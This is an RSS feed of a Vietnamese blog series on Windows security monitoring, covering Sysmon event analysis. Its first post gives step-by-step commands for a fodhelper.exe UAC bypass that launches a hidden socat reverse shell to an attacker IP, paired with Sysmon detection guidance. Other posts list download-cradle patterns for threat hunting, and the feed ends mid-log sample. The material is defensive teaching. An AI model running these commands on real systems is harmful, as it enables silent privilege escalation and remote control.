<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Sysmon on Roduygo | Blog</title><link>/tags/sysmon/</link><description>Recent content in Sysmon on Roduygo | Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Fri, 08 May 2026 12:00:00 +0700</lastBuildDate><atom:link href="/tags/sysmon/index.xml" rel="self" type="application/rss+xml"/><item><title>Kỹ thuật UAC Bypass</title><link>/post/uac-bypass-fodhelper/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/uac-bypass-fodhelper/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là &amp;ldquo;người gác cổng&amp;rdquo; tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng &amp;ldquo;tiện lợi&amp;rdquo; do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team &amp;ldquo;bắt tại htrận&amp;rdquo; ành vi này bằng Sysmon.&lt;/p&gt;
&lt;h2 id="1-gót-chân-achilles-của-uac-tính-năng-autoelevation"&gt;1. &amp;ldquo;Gót chân Achilles&amp;rdquo; của UAC: Tính năng AutoElevation
&lt;/h2&gt;&lt;p&gt;Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như &lt;code&gt;msconfig.exe&lt;/code&gt; hay &lt;code&gt;fodhelper.exe&lt;/code&gt;) được khai báo cờ &lt;code&gt;autoElevate&lt;/code&gt; bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.&lt;/p&gt;
&lt;p&gt;Hacker cực kỳ thích điều này. Nếu chúng có thể &amp;ldquo;bám đuôi&amp;rdquo; hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tại sao lại là Fodhelper.exe?&lt;/strong&gt;
&lt;code&gt;Fodhelper.exe&lt;/code&gt; là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ &lt;code&gt;autoElevate&lt;/code&gt;. Nhưng điểm khiến &lt;code&gt;fodhelper.exe&lt;/code&gt; trở thành &amp;ldquo;con mồi&amp;rdquo; hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).&lt;/p&gt;
&lt;h2 id="2-cơ-chế-ký-sinh-registry-hijacking"&gt;2. Cơ chế &amp;ldquo;Ký sinh&amp;rdquo;: Registry Hijacking
&lt;/h2&gt;&lt;p&gt;Điểm yếu chí mạng của &lt;code&gt;fodhelper.exe&lt;/code&gt; nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức &lt;code&gt;ms-settings&lt;/code&gt; (URL Protocol mở cửa sổ Settings của Windows).&lt;/p&gt;
&lt;p&gt;Đường dẫn mà fodhelper tìm kiếm là: &lt;code&gt;HKCU\Software\Classes\ms-settings\Shell\Open\command&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lỗ hổng nằm ở đâu?&lt;/strong&gt; Đường dẫn này nằm trong nhánh &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt; (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt &lt;code&gt;fodhelper.exe&lt;/code&gt;. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.&lt;/p&gt;
&lt;h2 id="3-thực-chiến-đóng-vai-hacker-lách-luật-uac"&gt;3. Thực chiến: Đóng vai Hacker lách luật UAC
&lt;/h2&gt;&lt;p&gt;Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ &lt;code&gt;socat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:&lt;/p&gt;
&lt;h3 id="bước-1-thiết-lập-biến-môi-trường-và-tải-trọng-payload"&gt;Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; CMD=&lt;span style="color:#e6db74"&gt;&amp;#34;powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="bước-2-chìa-khóa-delegateexecute-đặt-bẫy"&gt;Bước 2: Chìa khóa &amp;ldquo;DelegateExecute&amp;rdquo; (Đặt bẫy)
&lt;/h3&gt;&lt;p&gt;Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /v &lt;span style="color:#e6db74"&gt;&amp;#34;DelegateExecute&amp;#34;&lt;/span&gt; /d &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt; /f
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lệnh này tạo một giá trị tên là &lt;code&gt;DelegateExecute&lt;/code&gt; nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị &amp;ldquo;Mặc định&amp;rdquo; (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.&lt;/p&gt;
&lt;h3 id="bước-3-ghi-mã-độc-và-kích-hoạt"&gt;Bước 3: Ghi mã độc và Kích hoạt
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Ghi đè mã độc vào giá trị mặc định của khóa Registry&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg add %REG_KEY% /d %CMD% /f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#75715e"&gt;: Khởi chạy fodhelper để nó &amp;#34;cắn câu&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Windows\System32\fodhelper.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ngay khi &lt;code&gt;fodhelper.exe&lt;/code&gt; chạy, nó đọc Registry, thấy &lt;code&gt;DelegateExecute&lt;/code&gt; trống, bèn gọi lệnh &lt;code&gt;socat&lt;/code&gt;. Tại máy Kali Linux đang mở cổng lắng nghe (&lt;code&gt;nc -lvp 4444&lt;/code&gt;), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="4-góc-nhìn-soc-bắt-tại-trận-bằng-sysmon"&gt;4. Góc nhìn SOC: &amp;ldquo;Bắt tại trận&amp;rdquo; bằng Sysmon
&lt;/h2&gt;&lt;p&gt;Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước &amp;ldquo;mắt thần&amp;rdquo; Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:&lt;/p&gt;
&lt;h3 id="41-bắt-quả-tang-hành-vi-sửa-registry-event-id-12--13"&gt;4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 &amp;amp; 13)
&lt;/h3&gt;&lt;p&gt;Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event ID 12 (Registry object added):&lt;/strong&gt; Ghi nhận việc nhánh &lt;code&gt;ms-settings\Shell\Open\command&lt;/code&gt; vừa được tạo mới.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Event ID 13 (Registry value set):&lt;/strong&gt; Ghi nhận việc một tiến trình lạ vừa đặt giá trị &lt;code&gt;DelegateExecute&lt;/code&gt; và chèn mã lệnh &lt;code&gt;powershell... socat...&lt;/code&gt; vào Registry.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="42-bắt-quả-tang-tiến-trình-con-bất-thường-event-id-1"&gt;4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)
&lt;/h3&gt;&lt;p&gt;Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình cha (ParentImage):&lt;/strong&gt; Là &lt;code&gt;C:\Windows\System32\fodhelper.exe&lt;/code&gt; (chạy với IntegrityLevel: High).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiến trình con (Image):&lt;/strong&gt; Lại là &lt;code&gt;powershell.exe&lt;/code&gt; hoặc &lt;code&gt;socat.exe&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một phần mềm quản lý cài đặt ngôn ngữ (&lt;code&gt;fodhelper.exe&lt;/code&gt;) lại đi gọi &lt;code&gt;powershell.exe&lt;/code&gt; chạy ẩn để gọi tiếp &lt;code&gt;socat.exe&lt;/code&gt; kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính &amp;ldquo;tính năng&amp;rdquo; tiện lợi của Windows thành &amp;ldquo;vũ khí&amp;rdquo;. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Sysmon (Phần 1)</title><link>/post/sysmon-phan-1-giam-sat-tien-trinh/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/sysmon-phan-1-giam-sat-tien-trinh/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở các bài viết trước, chúng ta đã học cách đọc nhật ký hệ thống (Event Logs) mặc định của Windows. Nhưng trong thực tế chiến đấu, các hacker ngày càng tinh vi, chúng thừa sức qua mặt những log cơ bản này. Đó là lúc các chuyên gia SOC phải viện đến &amp;ldquo;vũ khí hạng nặng&amp;rdquo;: Sysmon (System Monitor). Hôm nay, chúng ta sẽ đi sâu vào hướng dẫn cài đặt tư duy giám sát Sysmon, mở đầu bằng việc &amp;ldquo;mổ xẻ&amp;rdquo; quá trình sinh tiến trình (Process Creation) và cách dùng mã Hash để lột mặt nạ mã độc.&lt;/p&gt;
&lt;h2 id="1-sysmon-là-gì-tại-sao-windows-event-logs-mặc-định-là-chưa-đủ"&gt;1. Sysmon là gì? Tại sao Windows Event Logs mặc định là chưa đủ?
&lt;/h2&gt;&lt;p&gt;Sysmon là một công cụ miễn phí cực kỳ mạnh mẽ thuộc bộ phần mềm Microsoft Sysinternals. Đối với giới bảo mật, Sysmon đã trở thành tiêu chuẩn vàng cho việc giám sát nâng cao.&lt;/p&gt;
&lt;p&gt;Hãy làm một phép so sánh thực tế khi một phần mềm được mở lên:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Event ID 4688 (Mặc định):&lt;/strong&gt; Chỉ cho bạn biết &amp;ldquo;Ai đó vừa chạy một tiến trình mới&amp;rdquo; (ví dụ: &lt;code&gt;cmd.exe&lt;/code&gt; vừa được chạy bởi Administrator).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon Event ID 1 (Process Creation):&lt;/strong&gt; Không chỉ nói cho bạn biết file nào vừa chạy, mà nó còn cung cấp dấu vân tay (Mã Hash) của file đó, cho biết chính xác tiến trình nào đã gọi nó ra (Parent Image), và thậm chí là lệnh (Command Line) chi tiết đã được gõ vào.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tóm lại:&lt;/strong&gt; Windows EID 4688 cho biết &amp;ldquo;ai chạy&amp;rdquo;, còn Sysmon EID 1 cho biết &amp;ldquo;vân tay&amp;rdquo; của kẻ đó. Nếu không có mã Hash, bạn sẽ gần như &amp;ldquo;mù&amp;rdquo; trước các kỹ thuật đổi tên ngụy trang của Hacker.&lt;/p&gt;
&lt;h2 id="2-giải-phẫu-chi-tiết-sysmon-event-id-1"&gt;2. Giải phẫu chi tiết Sysmon Event ID 1
&lt;/h2&gt;&lt;p&gt;Khi Sysmon Event ID 1 nổ ra, nó cung cấp cho SOC Analyst một bức tranh toàn cảnh không thể chối cãi. Hãy cùng &amp;ldquo;soi&amp;rdquo; vào các trường dữ liệu sinh tử của nó:&lt;/p&gt;
&lt;h3 id="21-thông-tin-định-danh-process-info"&gt;2.1 Thông tin định danh (Process Info)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ProcessId:&lt;/strong&gt; Số định danh tiến trình trong hệ thống.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image:&lt;/strong&gt; Đường dẫn vật lý của file thực thi trên ổ cứng (VD: &lt;code&gt;C:\Windows\System32\cmd.exe&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CommandLine:&lt;/strong&gt; Ghi lại chính xác từng chữ mà kẻ tấn công đã gõ vào lệnh.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-nguồn-gốc-khởi-tạo-parent-info"&gt;2.2 Nguồn gốc khởi tạo (Parent Info)
&lt;/h3&gt;&lt;p&gt;Mã độc hiếm khi tự nhiên sinh ra. Nó luôn được một thứ gì đó gọi ra.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ParentImage:&lt;/strong&gt; Đây là tiến trình cha. Việc nhìn vào tiến trình cha giúp bạn biết lệnh này do người dùng click chuột mở (như từ &lt;code&gt;explorer.exe&lt;/code&gt;) hay bị gọi ngầm bởi một đoạn mã độc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-dấu-vân-tay-của-tệp-binary-info"&gt;2.3 Dấu vân tay của tệp (Binary Info)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hashes:&lt;/strong&gt; Sysmon sẽ tự động tính toán mã Hash (như MD5, SHA256) của file thực thi ngay khi nó chạy. Đây là tính năng &amp;ldquo;đáng tiền&amp;rdquo; nhất của Sysmon.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="So sánh Event ID 4688 và Event ID 1 của Sysmon" class="gallery-image" data-flex-basis="527px" data-flex-grow="219" height="291" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/sysmon-phan-1-giam-sat-tien-trinh/sosanh.png" width="639"&gt;&lt;/p&gt;
&lt;h2 id="3-bắt-thóp-mã-độc-kỹ-năng-threat-hunting-thực-chiến"&gt;3. &amp;ldquo;Bắt thóp&amp;rdquo; Mã độc: Kỹ năng Threat Hunting thực chiến
&lt;/h2&gt;&lt;p&gt;Với các thông tin từ Sysmon EID 1, làm sao để phát hiện bất thường? Đừng tìm kiếm ngẫu nhiên, hãy bám vào 3 dấu hiệu (Red Flags) sau:&lt;/p&gt;
&lt;h3 id="kỹ-thuật-1-lột-mặt-nạ-ngụy-trang-masquerading-bằng-mã-hash"&gt;Kỹ thuật 1: Lột mặt nạ ngụy trang (Masquerading) bằng mã Hash
&lt;/h3&gt;&lt;p&gt;Hacker hiểu rằng nếu chạy một file có tên &lt;code&gt;virus_an_cap.exe&lt;/code&gt;, chúng sẽ bị tóm ngay. Vì thế, chúng thường đổi tên mã độc thành các tiến trình hệ thống chuẩn như &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;svchost.exe&lt;/code&gt; hay &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, dù tên file có đổi, mã Hash thì không bao giờ thay đổi. Khi Sysmon ghi lại mã SHA256 của tiến trình &lt;code&gt;cmd.exe&lt;/code&gt; giả mạo đó, bạn chỉ cần ném mã Hash đó lên VirusTotal. Mã Hash sẽ lập tức &amp;ldquo;tố cáo&amp;rdquo; đó là một file độc hại chứ không phải file chuẩn của Microsoft.&lt;/p&gt;
&lt;h3 id="kỹ-thuật-2-phân-tích-phả-hệ-tiến-trình-parent-child-anomalies"&gt;Kỹ thuật 2: Phân tích Phả hệ Tiến trình (Parent-Child Anomalies)
&lt;/h3&gt;&lt;p&gt;Đây là kỹ năng &amp;ldquo;nhìn thấu&amp;rdquo; logic hoạt động của hệ thống. Những tiến trình cha - con sau đây là cực kỳ phi logic và chắc chắn là mã độc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WINWORD.EXE (Microsoft Word) sinh ra powershell.exe hoặc cmd.exe:&lt;/strong&gt; Rất có thể một nhân viên vừa mở file Word chứa mã độc Macro, và nó đang gọi lệnh tải virus về máy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;notepad.exe sinh ra cmd.exe:&lt;/strong&gt; Notepad chỉ là phần mềm gõ văn bản, nó tuyệt đối không có lý do gì để gọi cửa sổ dòng lệnh.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kỹ-thuật-3-truy-vết-các-đường-dẫn-và-câu-lệnh-đáng-ngờ"&gt;Kỹ thuật 3: Truy vết các đường dẫn và câu lệnh đáng ngờ
&lt;/h3&gt;&lt;p&gt;Bạn cần cấu hình SIEM (hoặc viết script PowerShell) báo động ngay lập tức nếu tiến trình (Image) được chạy từ các thư mục trú ẩn quen thuộc của malware như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\*\AppData\Local\Temp\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\Public\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bên cạnh đó, hãy soi kỹ trường &lt;code&gt;CommandLine&lt;/code&gt;. Hacker thường dùng các lệnh sau để tải mã độc thẳng vào RAM hoặc giải mã script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-EncodedCommand&lt;/code&gt; (Chạy mã PowerShell đã mã hóa Base64)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IEX (New-Object Net.WebClient)&lt;/code&gt; (Lệnh tải file từ Internet)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;certutil -urlcache&lt;/code&gt; hoặc &lt;code&gt;bitsadmin /transfer&lt;/code&gt; (Lợi dụng phần mềm có sẵn của Windows để tải virus)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-thực-hành-truy-vấn-sysmon-bằng-powershell"&gt;4. Thực hành truy vấn Sysmon bằng PowerShell
&lt;/h2&gt;&lt;p&gt;Thay vì click chuột mỏi tay trong Event Viewer, các Threat Hunter thường dùng PowerShell để săn lùng (Hunting) dấu vết tiến trình độc hại. Dưới đây là đoạn code mẫu giúp bạn trích xuất tất cả các lần &lt;code&gt;powershell.exe&lt;/code&gt; được gọi ra bởi thư mục Temp:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Truy vấn Sysmon Event ID 1 (Process Create)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Query = &lt;span style="color:#e6db74"&gt;&amp;#34;*[System[EventID=1]]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lọc các sự kiện có Image là powershell và ParentImage nằm trong thư mục Temp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-WinEvent -LogName &lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft-Windows-Sysmon/Operational&amp;#34;&lt;/span&gt; -FilterXPath $Query | 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Where-Object {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_.Message &lt;span style="color:#f92672"&gt;-match&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Image: .*powershell\.exe&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-and&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_.Message &lt;span style="color:#f92672"&gt;-match&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ParentImage: .*\\Temp\\.*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } | Format-List TimeCreated, Message
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Result" class="gallery-image" data-flex-basis="420px" data-flex-grow="175" height="567" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/sysmon-phan-1-giam-sat-tien-trinh/result.png" srcset="/post/sysmon-phan-1-giam-sat-tien-trinh/result_hu_58c3bd88eec3efb8.png 800w, /post/sysmon-phan-1-giam-sat-tien-trinh/result.png 994w" width="994"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Bằng cách tận dụng Sysmon Event ID 1, bạn đã bịt được lỗ hổng khổng lồ của Event Viewer mặc định. Mã Hash và Cây tiến trình (Parent-Child) chính là hai thanh gươm sắc bén nhất để lột mặt nạ mọi loại mã độc ngụy trang. Trong bài viết tới (Phần 2), chúng ta sẽ tiếp tục đi sâu vào các Event ID khác của Sysmon (EID 3, 10, 11) để truy vết mã độc tàng hình (Fileless Malware) và hành vi ăn cắp mật khẩu. Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Sysmon (Phần 2)</title><link>/post/sysmon-phan-2-fileless-malware/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/sysmon-phan-2-fileless-malware/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Phần 2 của loạt bài về Sysmon trong Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Ở phần trước, chúng ta đã dùng Event ID 1 để &amp;ldquo;bắt thóp&amp;rdquo; mã độc dựa vào mã Hash. Nhưng nếu mã độc không tồn tại dưới dạng file trên ổ cứng thì sao? Nếu chúng chạy thẳng trên RAM, hoặc âm thầm chọc ngoáy vào tiến trình hệ thống để ăn cắp mật khẩu? Hôm nay, chúng ta sẽ mở khóa sức mạnh thực sự của Sysmon với bộ 3 Event ID sinh tử: 3, 10 và 11 để chống lại những kỹ thuật lẩn tránh (Evasion) tinh vi nhất.&lt;/p&gt;
&lt;h2 id="1-event-id-10-process-access-kính-lúp-soi-bộ-nhớ-và-fileless-malware"&gt;1. Event ID 10 (Process Access): &amp;ldquo;Kính lúp&amp;rdquo; soi bộ nhớ và Fileless Malware
&lt;/h2&gt;&lt;p&gt;Trong hệ điều hành Windows, các tiến trình (Process) vốn dĩ nằm trong các không gian bộ nhớ biệt lập. Tuy nhiên, mã độc thường xuyên tìm cách &amp;ldquo;chọc&amp;rdquo; vào vùng nhớ của các tiến trình hệ thống hợp lệ để ăn cắp dữ liệu hoặc tiêm mã độc (Process Injection) nhằm che giấu hành vi.&lt;/p&gt;
&lt;p&gt;Đây là lúc &lt;strong&gt;Sysmon Event ID 10 (Process Access)&lt;/strong&gt; tỏa sáng. Trong khi Windows mặc định dùng Event ID 4656 nhưng rất khó cấu hình, Sysmon EID 10 cung cấp bức tranh rõ nét về việc tiến trình nào đang đòi quyền truy cập vào tiến trình nào.&lt;/p&gt;
&lt;p&gt;Đặc biệt, EID 10 là &amp;ldquo;khắc tinh&amp;rdquo; của hai hành vi sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dump mật khẩu LSASS:&lt;/strong&gt; Hacker thường nhắm vào tiến trình &lt;code&gt;lsass.exe&lt;/code&gt; để trích xuất mật khẩu. EID 10 sẽ cảnh báo ngay nếu một file lạ xin quyền truy cập vào &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tiêm mã độc vào RAM (Kỹ thuật tàng hình/Fileless):&lt;/strong&gt; Dưới đây là một ví dụ thực chiến từ log Sysmon:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Source Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Users\sarah.miller\Downloads\ckjg.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Target Image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;C:\Windows\System32\Wbem\wmic.exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Granted Access&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;0x1FFFFF&lt;/span&gt;
